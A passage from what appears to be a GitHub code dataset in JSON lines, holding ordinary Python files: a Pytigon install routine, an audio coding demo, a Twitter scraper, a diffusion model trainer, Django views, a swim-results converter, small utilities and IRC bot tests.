os.path.exists(_static_app_path) else 1\n\n    if not test2:\n        if upgrade_test(\n            os.path.join(os.path.join(_root_path, \"install\"), \".pytigon.zip\"),\n            _data_path,\n        ):\n            test2 = 2\n            print(\"Upgrade data\")\n\n    if test2:\n        zip_file2 = os.path.join(os.path.join(_root_path, \"install\"), \".pytigon.zip\")\n        if not os.path.exists(_data_path):\n            os.makedirs(_data_path)\n        if os.path.exists(zip_file2):\n            if test2 == 2:\n                extractall(zipfile.ZipFile(zip_file2), _data_path, exclude=[\".*\\.db\"])\n            else:\n                extractall(zipfile.ZipFile(zip_file2), _data_path)\n        if not os.path.exists(os.path.join(_data_path, \"media\")):\n            media_path = os.path.join(os.path.join(_data_path, \"media\"))\n            os.makedirs(media_path)\n            os.makedirs(os.path.join(media_path, \"filer_public\"))\n            os.makedirs(os.path.join(media_path, \"filer_private\"))\n            os.makedirs(os.path.join(media_path, \"filer_public_tumbnails\"))\n            os.makedirs(os.path.join(media_path, \"filer_private_thumbnails\"))\n        if not os.path.exists(os.path.join(_data_path, \"doc\")):\n            doc_path = os.path.join(os.path.join(_data_path, \"doc\"))\n            os.makedirs(doc_path)\n\n        prjs = [ff for ff in os.listdir(_prj_path) if not ff.startswith(\"_\")]\n\n        tmp = os.getcwd()\n        for app in prjs:\n            path = os.path.join(_prj_path, app)\n            if os.path.isdir(path):\n                db_path = os.path.join(os.path.join(_data_path, app), f\"{app}.db\")\n                os.chdir(path)\n                print(\"python: pytigon: init: \", path)\n                if not os.path.exists(db_path):\n                    print(\"python: pytigon: init: create:\", db_path)\n                    exit_code, output_tab, err_tab = py_manage(\n                        [\"makeallmigrations\"], False\n                    )\n                    if err_tab:\n                        print(err_tab)\n                    exit_code, output_tab, err_tab = py_manage([\"migrate\"], False)\n                    if err_tab:\n                        print(err_tab)\n                    exit_code, output_tab, err_tab = py_manage(\n                        [\"createautouser\"], False\n                    )\n                    if err_tab:\n                        print(err_tab)\n                    if app == \"schdevtools\":\n                        print(\"python: pytigon: import_projects!\")\n                        exit_code, output_tab, err_tab = py_manage(\n                            [\"import_projects\"], False\n                        )\n                        print(\"python: pytigon: projects imported!\")\n                        if err_tab:\n                            print(err_tab)\n        os.chdir(tmp)\n    if test2 == 2:\n        pass\n\n    if test3:\n        p2 = os.path.join(os.path.join(_root_path, \"static\"), \"app\")\n        if os.path.exists(p2):\n            copy_tree(p2, _static_app_path, preserve_mode=0, preserve_times=0)\n\n    _paths = [\n        \"\",\n        \"cache\",\n        \"plugins_cache\",\n        \"_schall\",\n        \"schdevtools\",\n        \"prj\",\n        \"temp\",\n        \"static\",\n        prj,\n    ]\n    for p in _paths:\n        _mkdir(_data_path, p)\n    if paths:\n        for p in paths:\n            _mkdir(p)\n\n    prjlib = os.path.join(_data_path, prj, \"prjlib\")\n    if not os.path.exists(prjlib) or not os.path.exists(\n        os.path.join(prjlib, \"install.txt\")\n    ):\n        if not os.path.exists(prjlib):\n            os.mkdir(prjlib)\n        config_file = os.path.join(prj_path, prj, \"install.ini\")\n        if os.path.exists(config_file):\n            config = configparser.ConfigParser()\n            config.read(config_file)\n            if \"DEFAULT\" in config:\n                pip_str = config[\"DEFAULT\"].get(\"PIP\", \"\")\n                if pip_str:\n                    pip_install(pip_str, prjlib, confirm=True)\n\n    if os.path.exists(prjlib):\n        if not prjlib in sys.path:\n            sys.path.append(prjlib)\n        if test1 or test2 or test3:\n            ret = make(_data_path, os.path.join(_prj_path, prj), prj)\n            if ret:\n                for pos in ret:\n                    print(pos)\n    syslib = os.path.join(_data_path, prj, \"syslib\")\n    if not os.path.exists(syslib):\n        os.makedirs(syslib)\n        with open(os.path.join(syslib, \"__init__.py\"), \"wt\") as f:\n            f.write(\" \")\n","repo_name":"Splawik/pytigon-lib","sub_path":"pytigon_lib/schtools/install_init.py","file_name":"install_init.py","file_ext":"py","file_size_in_byte":7444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11100105574","text":"import sys\n# from PCM_code import *\nimport queue\nfrom utils import int_to_bit as PCMcode\nfrom utils import bit_to_int as PCMdecode\nfrom utils import AMIcode, AMIdecode, HDB3code, HDB3decode, ASKcode, ASKdecode\nfrom utils import add_noise\n\nimport sounddevice as sd\n\n# 配置输入设备参数\ninput_device = sd.default.device  # 默认输入设备\ninput_channels = 1  # 输入通道数\ninput_samplerate = 8000  # 输入采样率\n\n# 配置输出设备参数\noutput_device = sd.default.device  # 默认输出设备\noutput_channels = 1  # 输出通道数\noutput_samplerate = 8000  # 输出采样率\n\nq_cache = queue.Queue()\n\n# 输入回调函数\n\n\ndef input_callback(indata, frames, time, status):\n    # x = indata\n    x = PCMcode(indata)\n    x = HDB3code(x)\n    x, plt_t = ASKcode(x)\n    x = add_noise(x, 10)\n    x = ASKdecode(x)\n    x = HDB3decode(x)\n    x = PCMdecode(x)\n    q_cache.put(x.reshape(x.shape[0], 1))\n\n\n# 输出回调函数\ndef output_callback(outdata, frames, time, status):\n    outdata[:] = q_cache.get()\n    pass\n\n\n# 打开输入流\ninput_stream = sd.InputStream(device=input_device, channels=input_channels,\n                              samplerate=input_samplerate, callback=input_callback, dtype='int16')\ninput_stream.start()\n\n# 打开输出流\noutput_stream = sd.OutputStream(device=output_device, channels=output_channels,\n                                samplerate=output_samplerate, callback=output_callback, dtype='int16')\noutput_stream.start()\n\n# 保持程序运行\nwhile True:\n\n    try:\n        sd.sleep(500)\n    except KeyboardInterrupt:\n        input_stream.stop()\n        output_stream.stop()\n        # 关闭输入和输出流，释放资源\n        input_stream.close()\n        output_stream.close()\n        raise KeyboardInterrupt\n\n# 关闭流\n","repo_name":"yangshurong/audio_class_designer","sub_path":"python_ui/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21843056351","text":"# Carrega bibliotecas\nimport unicodedata\nimport configparser\nimport pandas as pd\n\nfrom TwitterSearch import *\nfrom datetime import datetime\n\n# Parametros iniciais\nvg_conta      = ''\nvg_log        = []\nvg_registros  = []\nvg_resultado  = pd.DataFrame()\nvg_pasta      = '/home/python/'\nvg_ini        = configparser.ConfigParser()\nvg_hora       = int(datetime.today().strftime('%M'))\nvg_arquivo    = datetime.today().strftime('%Y%m%d%H%M%S')\n\n# Chaves de pesquisa\nvg_pesquisas  = ['Playstation','Xbox','Nintendo','Blizzard', 'Activision', 'Naughty Dog', 'EA', 'Konami','Capcom', 'Nintendo Switch Online', 'Gamepass', 'EA Access', 'Playstation Now', 'CD PROJEKT RED']\n\n# Minera dados no Twitter\nvg_ini.read(vg_pasta+'/parametros.ini')\n\n# Define conta para coleta\nif vg_hora < 10:\n    vg_conta = 'ts_app_01'\nelif vg_hora < 20:\n    vg_conta = 'ts_app_11'\nelif vg_hora < 30:\n    vg_conta = 'ts_app_21'\nelif vg_hora < 40:\n    vg_conta = 'ts_app_31'\nelif vg_hora < 50:\n    vg_conta = 'ts_app_41'\nelif vg_hora < 60:\n    vg_conta = 'ts_app_51'\n\n# Para cada chave de pesquisa\nfor v_index, v_pesquisa in enumerate(vg_pesquisas):    \n    \n    # Controle de 10 tentativas\n    v_controle = 0\n    while v_controle < 10:\n        v_tso = None\n        v_tcc_app_01 = None\n        v_controle += 1\n        vg_log.append([datetime.today().strftime('%Y-%m-%d %H:%M:%S') \\\n                      +' Tentativa -> '+format(v_controle,'02') \\\n                      +' | Pesquisa -> '+v_pesquisa])\n        \n        try:\n            # Credenciais do Twitter\n            v_ts = TwitterSearch(\n                consumer_key = vg_ini[vg_conta]['consumer_key'],\n                consumer_secret = vg_ini[vg_conta]['consumer_secret'],\n                access_token = vg_ini[vg_conta]['access_token'],\n                access_token_secret = vg_ini[vg_conta]['access_token_secret']\n            )\n            \n            # Filtros para pesquisa\n            v_tso = TwitterSearchOrder()\n            v_tso.set_count(100)\n            v_tso.set_locale('en')\n            v_tso.set_language('en')            \n            v_tso.set_keywords([v_pesquisa])\n            v_tso.set_include_entities(False) \n            \n            # Coleta\n            for v_tweet in v_ts.search_tweets_iterable(v_tso):\n                v_texto = v_tweet['text']\n                v_texto = v_texto.replace('\"','')\n                vg_registros.append([datetime.today().strftime('%Y-%m-%d')\n                                    ,datetime.today().strftime('%H:%M:%S')\n                                    ,vg_ini['coletor']['ip']\n                                    ,v_pesquisa\n                                    ,v_tweet['user']['screen_name']\n                                    ,v_texto])\n            \n            v_controle = 10\n            vg_log.append([datetime.today().strftime('%Y-%m-%d %H:%M:%S')+' Extração realizada'])\n            \n        except:\n            vg_log.append([datetime.today().strftime('%Y-%m-%d %H:%M:%S')+' Falha na extração'])\n\n# Armazena coleta\nif len(vg_registros) > 0:\n    vg_resultado = pd.DataFrame(vg_registros)\n    vg_resultado.index.name='indice'\n    vg_resultado.columns = ['data_coleta','hora_coleta','ip_coletor','chave_pesquisa','twitter','tweet']\n    v_duplicados = vg_resultado['tweet'].count()\n    vg_resultado.drop_duplicates(['tweet'],inplace=True)\n    v_duplicados = v_duplicados-vg_resultado['tweet'].count()\n    vg_log.append(['Foram removidas '+str(v_duplicados)+' duplicidades'])\n    vg_log.append(['Foram coletados '+str(vg_resultado.tweet.count())+' tweets'])\n    vg_resultado.to_json(vg_pasta+'coleta/'+vg_ini['coletor']['ip'].replace('.','')+vg_arquivo+'.json',orient=\"records\")\n\n# Armazena log\nvg_log = pd.DataFrame(vg_log)\nvg_log.to_csv(vg_pasta+'log/'+vg_ini['coletor']['ip'].replace('.','')+vg_arquivo+'.log',columns=None,header=False,index=False)\n","repo_name":"mtparreira/docker","sub_path":"anaconda/python/twitter_coleta.py","file_name":"twitter_coleta.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32605399309","text":"import gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, GdkPixbuf\nimport os\n\nimport w\n\nclass IntroductionBox(Gtk.ScrolledWindow):\n\t\tdef __init__(self):\n\t\t\t\tGtk.ScrolledWindow.__init__(self)\n\t\t\n\t\t\t\tbox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=10)\n\t\t\t\t\n\t\t\t\tpath = str(os.path.join(os.path.dirname(os.path.abspath(__file__))))\n\t\t\t\tpixbuf = GdkPixbuf.Pixbuf.new_from_file_at_scale(path[:-5] + 'install/icon.png', width=200, height=200,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t preserve_aspect_ratio=False)\n\t\t\t\timage = Gtk.Image()\n\t\t\t\timage.set_from_pixbuf(pixbuf)\n\t\t\t\tbox.pack_start(image, False, False, 0)\n\t\t\t\t\n\t\t\t\tlabel = Gtk.Label(\"The Linux Watchful Adaptive Security Profiler is designed to create vulnerabilities on a Linux image and then score cyber security students on finding and fixing those vulnerabilites.  LWASP is designed to work on an unconfigured image, but advanced users can pre-configure their images and allow scoring for more difficult vulnerabilites.\")\n\t\t\t\tlabel.set_line_wrap(True)\n\t\t\t\tbox.pack_start(label, False, False, 10)\n\n\t\t\t\tlabel2 = Gtk.Label(\"Explore the tabs at the top to set up scoring on this image, and then press the button at the bottom right to go to the next step.\")\n\t\t\t\tlabel2.set_line_wrap(True)\n\t\t\t\tbox.pack_start(label2, False, False, 10)\n\n\n\t\t\t\tself.add_with_viewport(box)\n","repo_name":"SteffeyDev/lwasp","sub_path":"src/lwasp-setup/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"31513490646","text":"exercise = {'Python': 'Python: is the most valuable language for AI', 'Swift': 'Swift: is a language used to develop iOS Applications', 'Java': 'Java: is being used to develop Android Applications'}\n\nfriends = ['Amjad', 'Adil', 'Waheed', 'Khan']\n\nfor i in set(exercise.keys()):\n    for j in friends:\n        if i == 'Python' and j == 'Khan':\n            print('Thank you for taking the poll')\n        elif i == 'Python' and j == 'Amjad':\n            print('Please take the poll')\n        elif i == 'Python' and j == 'Adil':\n            print('Please take the poll')\n        elif i == 'Python' and j == 'Waheed':\n            print('Please take the poll')\n\n","repo_name":"iamuhammadkhan/SSUET-Python-Practice","sub_path":"Chapter 6/Exercise 6-6.py","file_name":"Exercise 6-6.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"678308474","text":"from p04_oop.m02_oop_kalender import Kalender\r\nfrom p04_oop.m03_oop_uhr import Uhr\r\n\r\nclass KalenderUhr(Kalender, Uhr): #vererben\r\n    def __init__(self, tag, monat, jahr, stunde, minute, sekunde):\r\n        Kalender.__init__(self, tag, monat, jahr)\r\n        Uhr.__init__(self, stunde, minute, sekunde)\r\n\r\n    def __repr__(self):\r\n        return  Kalender.__repr__(self) + \" \" + Uhr.__repr__(self)\r\n\r\n    def naechste_sekunde(self):\r\n        super().naechste_sekunde()\r\n        # python3 äquivalent Uhr.naechste_sekunde(self)\r\n        # python2 aquivalent super(KalenderUhr, self).naechste_sekunde()\r\n        if (self.stunde, self.minute, self.sekunde) == (0, 0, 0): #Mitternacht -> Kalender Tag + 1\r\n            super().naechsterTag()\r\n\r\nif __name__ == \"__main__\":\r\n    k = KalenderUhr(31, 12, 1999, 23, 59, 58)\r\n    for i in range(10): # 10 mal wiederholen\r\n        k.naechste_sekunde()\r\n        print(k)\r\n","repo_name":"uvenil/PythonKurs201806","sub_path":"___Python/Thomas/pycurs_180625/p04_oop/m04_oop_kalenderuhr.py","file_name":"m04_oop_kalenderuhr.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9933549292","text":"import json\nimport pickle\nimport numpy as np\n\n__locations = None\n__data_columns = None\n__model = None\n\ndef get_estimated_price(suburbs,bedroom2,bathroom,car,buildingarea):\n    try:\n        loc_index = __data_columns.index(suburbs.lower())\n    except:\n        loc_index = -1\n\n    z = np.zeros(len(__data_columns))\n    z[0] = bedroom2\n    z[1] = bathroom\n    z[2] = car\n    z[3] = buildingarea\n    if loc_index >= 0:\n        z[loc_index] = 1\n\n    return round(__model.predict([z])[0], 3)\n\ndef get_location_names():\n    return __locations\n\ndef load_saved_artifcats():\n    print(\"loading saved artifacts...start\")\n    global __data_columns\n    global __locations\n    global __model\n\n    with open(\"./server/artifacts/columns.json\", \"r\") as f:\n        __data_columns = json.load(f)['data_columns']\n        __locations = __data_columns[4:]\n\n    with open(\"./server/artifacts/HousingPrice.pickle\", \"rb\") as f:\n        __model = pickle.load(f)\n        print(\"loading saved artifacts...done\")\nif __name__ == \"__main__\":\n    load_saved_artifcats()\n    print(get_location_names())\n    print(get_location_names())\n    print(get_estimated_price('abbotsford',2, 1,0,79))\n\n\n","repo_name":"Aswin77/Melbourne","sub_path":"abby.py","file_name":"abby.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5717369807","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Agent\nfrom listings.models import Listing\n\n# Create your views here.\ndef agents(request):\n    agents  =   Agent.objects.all()\n\n    context =   {\n        'agents': agents,\n    }\n    return render(request, 'agents/agents.html', context)\n\ndef single_agent(request, agent_id):\n    agent   = get_object_or_404(Agent, pk=agent_id)\n    listings   =   Listing.objects.order_by('-list_date').filter(is_published=True, agent=agent_id)[:10]\n    agent_listing_count =   listings.count()\n    featured_listings    =   Listing.objects.order_by('list_date').filter(is_published=True, is_it_featured_property=True)[:10]\n\n\n    context =   {\n        'agent': agent,\n        'listings': listings,\n        'agent_listing_count': agent_listing_count,\n        'featured_listings':    featured_listings,\n    }\n    return render(request, 'agents/single_agent.html', context)\n","repo_name":"psunny28/RentHouse","sub_path":"agents/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8133038258","text":"import os\nimport copy\nimport numpy as np\nimport json\nimport torch\nimport argparse\nimport torch.nn as nn\nfrom tqdm import tqdm\nfrom torch import optim\nfrom utils import *\nfrom modules import UNet_conditional, EMA\nimport logging\nfrom torch.utils.tensorboard import SummaryWriter\nfrom loader import load_train_data\n\n\nclass Diffusion:\n    def __init__(self, noise_steps=1000, beta_start=1e-4, beta_end=0.02, img_size=(240, 320), device=\"cuda:1\"):\n        self.noise_steps = noise_steps\n        self.beta_start = beta_start\n        self.beta_end = beta_end\n\n        self.beta = self.prepare_noise_schedule().to(device)\n        self.alpha = 1. - self.beta\n        self.alpha_hat = torch.cumprod(self.alpha, dim=0)\n\n        self.img_size = img_size\n        self.device = device\n\n    def prepare_noise_schedule(self):\n        return torch.linspace(self.beta_start, self.beta_end, self.noise_steps)\n\n    def noise_images(self, x, t):\n        sqrt_alpha_hat = torch.sqrt(self.alpha_hat[t])[:, None, None, None]\n        sqrt_one_minus_alpha_hat = torch.sqrt(1 - self.alpha_hat[t])[:, None, None, None]\n        Ɛ = torch.randn_like(x)\n        return sqrt_alpha_hat * x + sqrt_one_minus_alpha_hat * Ɛ, Ɛ\n\n    def sample_timesteps(self, n):\n        return torch.randint(low=1, high=self.noise_steps, size=(n,))\n\n    def sample(self, model, n, labels, cfg_scale=3):\n        logging.info(f\"Sampling {n} new images....\")\n        model.eval()\n        with torch.no_grad():\n            x = torch.randn((n, 3, self.img_size[0], self.img_size[1])).to(self.device)\n            for i in tqdm(reversed(range(1, self.noise_steps)), position=0):\n                t = (torch.ones(n) * i).long().to(self.device)\n                predicted_noise = model(x, t, labels)\n                if cfg_scale > 0:\n                    uncond_predicted_noise = model(x, t, None)\n                    predicted_noise = torch.lerp(uncond_predicted_noise, predicted_noise, cfg_scale)\n                alpha = self.alpha[t][:, None, None, None]\n                alpha_hat = self.alpha_hat[t][:, None, None, None]\n                beta = self.beta[t][:, None, None, None]\n                if i > 1:\n                    noise = torch.randn_like(x)\n                else:\n                    noise = torch.zeros_like(x)\n                x = 1 / torch.sqrt(alpha) * (x - ((1 - alpha) / (torch.sqrt(1 - alpha_hat))) * predicted_noise) + torch.sqrt(beta) * noise\n        model.train()\n        x = (x.clamp(-1, 1) + 1) / 2\n        x = (x * 255).type(torch.uint8)\n        return x\n\ndef train(args ,train_dataloader):\n    device = args.device\n    dataloader = train_dataloader\n    model = UNet_conditional(num_classes=args.num_classes, device=device).to(device)\n    optimizer = optim.AdamW(model.parameters(), lr=args.lr)\n    mse = nn.MSELoss()\n    diffusion = Diffusion(img_size=(64, 64), device=device)\n    l = len(dataloader)\n    ema = EMA(0.995)\n    ema_model = copy.deepcopy(model).eval().requires_grad_(False)\n\n    for epoch in tqdm(range(args.epochs + 1)):\n        logging.info(f\"Starting epoch {epoch}:\")\n        pbar = tqdm(dataloader)\n        for i, (images, labels) in enumerate(pbar):\n            images = images.to(device)\n            labels = labels.to(device)\n            t = diffusion.sample_timesteps(images.shape[0]).to(device)\n            x_t, noise = diffusion.noise_images(images, t)\n            if np.random.random() < 0.1:\n                labels = None\n            predicted_noise = model(x_t, t, labels)\n            loss = mse(noise, predicted_noise)\n\n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n            ema.step_ema(ema_model, model)\n\n            pbar.set_postfix(MSE=loss.item())\n\n        if epoch % 50 == 0:\n            # testing\n            #test\n            test_labels = []\n            obj_data = json.load(open(args.objects_json))\n            data = json.load(open(args.test_data_json))\n            output_img = []\n            output_img_ema = []\n            for i in data:\n                onehot = torch.zeros((1,24))\n                for cls in i:\n                    onehot[0][obj_data[cls]] = 1\n                test_labels.append(onehot)\n\n                onehot = onehot.float().to(device)\n                sampled_images = diffusion.sample(model, n=len(onehot), labels=onehot)\n                ema_sampled_images = diffusion.sample(ema_model, n=len(onehot), labels=onehot)\n                # print(sampled_images.shape)\n                output_img.append(sampled_images[0])\n                output_img_ema.append(ema_sampled_images[0])\n            save_images(output_img, os.path.join(\"result64\", \"test\", f\"{epoch}.jpg\"))\n            save_images(output_img_ema, os.path.join(\"result64\",  \"test\", f\"{epoch}_ema.jpg\"))\n\n            #new_test\n            newtest_labels = []\n            newoutput_img = []\n            newoutput_img_ema = []\n            obj_data = json.load(open(args.objects_json))\n            data = json.load(open(args.newtest_data_json))\n            for i in data:\n                onehot = torch.zeros((1, 24))\n                for cls in i:\n                    onehot[0][obj_data[cls]] = 1\n                newtest_labels.append(onehot)\n\n                onehot = onehot.float().to(device)\n                sampled_images = diffusion.sample(model, n=len(onehot), labels=onehot)\n                ema_sampled_images = diffusion.sample(ema_model, n=len(onehot), labels=onehot)\n                # print(sampled_images.shape)\n                newoutput_img.append(sampled_images[0])\n                newoutput_img_ema.append(ema_sampled_images[0])\n            save_images(newoutput_img, os.path.join(\"result64\", \"new_test\", f\"{epoch}.jpg\"))\n            save_images(newoutput_img_ema, os.path.join(\"result64\",  \"new_test\", f\"{epoch}_ema.jpg\"))\n\n\n            torch.save(model.state_dict(), os.path.join(\"models/epoch\", f\"{epoch}_ckpt64.pt\"))\n            torch.save(ema_model.state_dict(), os.path.join(\"models/epoch\", f\"{epoch}_ema_ckpt.pt\"))\n            torch.save(optimizer.state_dict(), os.path.join(\"models/epoch\", f\"{epoch}_optim64.pt\"))\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n\n\t## What to do\n    parser.add_argument(\"--train\", default=False, action=\"store_true\")\n    parser.add_argument(\"--test\" , default=False, action=\"store_true\")\n\n\t## Hyper-parameters\n\n    parser.add_argument(\"--seed\"      , default=1     , type=int,    help=\"manual seed\")\n    parser.add_argument(\"--num_workers\"      , default=4     , type=int)\n    parser.add_argument(\"--batch_size\"      , default=6    , type=int)\n    parser.add_argument(\"--lr\"        , default=3e-4 , type=float,  help=\"learning rate\")\n    parser.add_argument(\"--device\"    , type=str      , default=\"cuda:1\")\n    parser.add_argument(\"--dataset_root\", type=str, default='./iclevr/')\n    parser.add_argument(\"--train_data_json\", type=str, default='./TA_dataset/train.json')\n    parser.add_argument(\"--test_data_json\", type=str, default='./TA_dataset/test.json')\n    parser.add_argument(\"--newtest_data_json\", type=str, default='./TA_dataset/new_test.json')\n    parser.add_argument(\"--objects_json\", type=str, default='./TA_dataset/objects.json')\n    parser.add_argument(\"--num_classes\"      , default=24     , type=int)\n\n    parser.add_argument(\"--epochs\"      , default=500     , type=int)\n    \n    \n    args = parser.parse_args()\n    return args\n\n\n\nif __name__ == '__main__':\n    args = parse_args()\n\n    train_dataloader = load_train_data(args)\n    train(args, train_dataloader)\n\n\n\n","repo_name":"ryanlu2240/NCTUDLP_2023","sub_path":"lab7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73126229860","text":"#!/usr/bin/env python3\n\nfrom sdtables.sdtables import SdTables\nfrom datetime import time\nfrom collections import defaultdict\n\nRESULTS_FILE = './gala_results_2022.xlsx'\n\nresults_schema = {\n    \"worksheet\": \"Sheet1\",\n    \"name\": \"Table1\",\n    \"properties\": {\n        \"SE Number\": {\"type\": [\"string\", \"null\"]},\n        \"First Name\": {\"type\": [\"string\", \"null\"]},\n        \"Family Name\": {\"type\": [\"string\", \"null\"]},\n        \"Date\": {\"type\": [\"string\", \"null\"]},\n        \"Pool Size\": {\"type\": [\"number\", \"null\"]},\n        \"Swim Distance\": {\"type\": [\"number\", \"null\"]},\n        \"Stroke\": {\"type\": [\"number\", \"null\"]},\n        \"Swim Time\": {\"type\": [time, time(0)]},\n        \"Split Time 1\": {\"type\": [time, 0]},\n        \"Split Time 2\": {\"type\": [time, 0]},\n        \"Split Time 3\": {\"type\": [time, 0]},\n        \"Split Time 4\": {\"type\": [time, 0]},\n        \"Position\": {\"type\": [\"number\", \"null\"]},\n        \"Event Number\": {\"type\": [\"string\", \"null\"]},\n        \"Gala ID\": {\"type\": [\"string\", \"null\"]},\n        \"Position\": {\"type\": [\"string\", \"null\"]}\n    }\n}\n\ndef update_result(record, results_tables):\n    event = record['Event Number']\n    swimmer_id = record['Swimmer ID']\n    swimmer_name = record['Swimmer']\n    event_results = results_tables[f'EVENT_{event}']\n    result = [r for r in event_results if swimmer_id in r['id']]\n    if len(result) > 1:\n        print(f\"Error: Found duplicate results in event {event} for {swimmer_name} with scm id {swimmer_id}\")\n    elif result[0]['result'] is None:\n        record['Result'] = time(0)\n    else:\n        print(result[0]['result'])\n        record['Result'] = result[0]['result']\n\ngala_results_wb = SdTables()\ngala_results_wb.load_xlsx_file(RESULTS_FILE)\ngala_results_sheets = gala_results_wb.get_all_tables_as_dict()\ngala_results_results = gala_results_sheets['Results']\ngala_results_helpers = gala_results_sheets['Helpers']\n\ngala_events_data = {}\nfor row in gala_results_helpers['events']:\n    gala_events_data[row['Event Number']] = row\n\n\n# Flatten and enrich event data\ngala_meta = gala_results_results['main']\ndata = []\nfor table, rows in gala_results_results.items():\n    if 'EVENT_' in table:\n        _, event = table.split('_')\n        for row in rows:\n            event_metadata = gala_events_data[event]\n            row.update({\n                \"Date\": gala_meta[0]['Date'],\n                \"Pool Size\": gala_meta[0]['Pool Size'],\n                \"Gala ID\": gala_meta[0]['Gala ID'],\n                \"Event Number\": event,\n                \"Swim Distance\": event_metadata['Swim Distance'],\n                \"Stroke\": event_metadata['Stroke']\n            })\n            data.append(row)\n\nscm_updated_wb = SdTables()\nscm_updated_wb.add_xlsx_table_from_schema(results_schema['name'], results_schema, data=data, worksheet_name=results_schema['worksheet'], row_offset=0, col_offset=0)\nscm_updated_wb.save_xlsx('./scm-results-upload')\n","repo_name":"cunningr/scm_events_data","sub_path":"create_scm_report.py","file_name":"create_scm_report.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18101790897","text":"import json\nimport pathlib\nfrom fastapi import APIRouter, FastAPI, Request\n\nquiz_router = APIRouter(\n     prefix=\"/quiz\",\n    tags=[\"quiz\"]\n)\n\n@quiz_router.get('/')\nasync def quiz_view(request: Request):\n   \n   return { \"data\": \"quiz\", \"status\": \"200\" }","repo_name":"terrywmartin/quiz_app","sub_path":"api/app/quiz_routes.py","file_name":"quiz_routes.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30539438961","text":"import copy\nfrom typing import Union\n\n\ndef format_wide_number(number: Union[int, str], char_seperator: str) -> str:\n    \"\"\"\n    Returns formatted string of passed number\n    Example: input: 12345678, ' ' -> output: \"12 345 678\"\n    Example: input: \"12345678\", ' ' -> output: \"12 345 678\"\n    \"\"\"\n    if len(char_seperator) != 1:\n        raise ValueError(\"Seperator must be a single character\")\n\n    number = str(number)\n    if len(number) <= 3:\n        return number\n    reversed_numbers = list(number[::-1])\n    reversed_numbers_copy = copy.copy(reversed_numbers)\n    insert_counter = 0\n    for i, _ in enumerate(reversed_numbers):\n        if i % 3 == 0 and i != 0:\n            reversed_numbers_copy.insert(i + insert_counter, char_seperator)\n            insert_counter += 1\n    return \"\".join(reversed_numbers_copy[::-1])\n","repo_name":"Sebastian-Abramowski/Discord-Bot","sub_path":"utilities/format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26676015260","text":"import unittest\nfrom unittest.mock import Mock\nfrom threading import Event\n\nimport irc\n\nfrom minilodon.kicker import Kicker\nfrom minilodon.minilodon import Minilodon\n\nclass KickerTest(unittest.TestCase):\n    def setUp(self):\n        self.bot = Mock(spec=Minilodon)\n        self.bot.connection = Mock()\n        self.channel = '#test'\n        self.nick = 'nick'\n        self.idletime = 10.0\n        self.resetter = Mock(spec=Event)\n        self.kicker = Kicker(self.bot, self.channel, self.nick, self.idletime)\n        self.kicker.resetter = self.resetter\n\n    def test_run_once(self):\n        self.resetter.isSet.return_value = False\n        self.kicker.run()\n        self.assertEqual(self.bot.connection.kick.call_count, 1)\n        self.assertEqual(self.bot.connection.kick.call_args[0][0], self.channel)\n        self.assertEqual(self.bot.connection.kick.call_args[0][1], self.nick)\n        self.assertEqual(self.bot.send_msg.call_count, 1)\n        self.assertEqual(self.bot.send_msg.call_args[0][1], True)\n        self.bot.reset_mock()\n\n    def test_run_twice(self):\n        self.resetter.isSet.side_effect = [True, False]\n        self.kicker.run()\n        self.resetter.clear.assert_called_once_with()\n        self.bot.reset_mock()\n\n    def test_cancel(self):\n        def wait(time):\n            self.kicker.cancel()\n        self.resetter.isSet.side_effect = lambda: self.resetter.set.called\n        self.resetter.wait.side_effect = wait\n        self.kicker.run()\n        assert(not self.bot.connection.kick.called)\n        assert(self.resetter.clear.called)\n\n    def test_reset(self):\n        self.kicker.reset()\n        self.assertTrue(self.resetter.set.called)\n\n    def test_changenick(self):\n        self.kicker.changenick('newnick')\n        self.assertFalse(self.resetter.set.called)\n        self.assertEqual(self.kicker.nick, 'newnick')\n        self.kicker.changenick('nick')\n","repo_name":"ArdaXi/Minilodon","sub_path":"minilodon/tests/kicker_test.py","file_name":"kicker_test.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
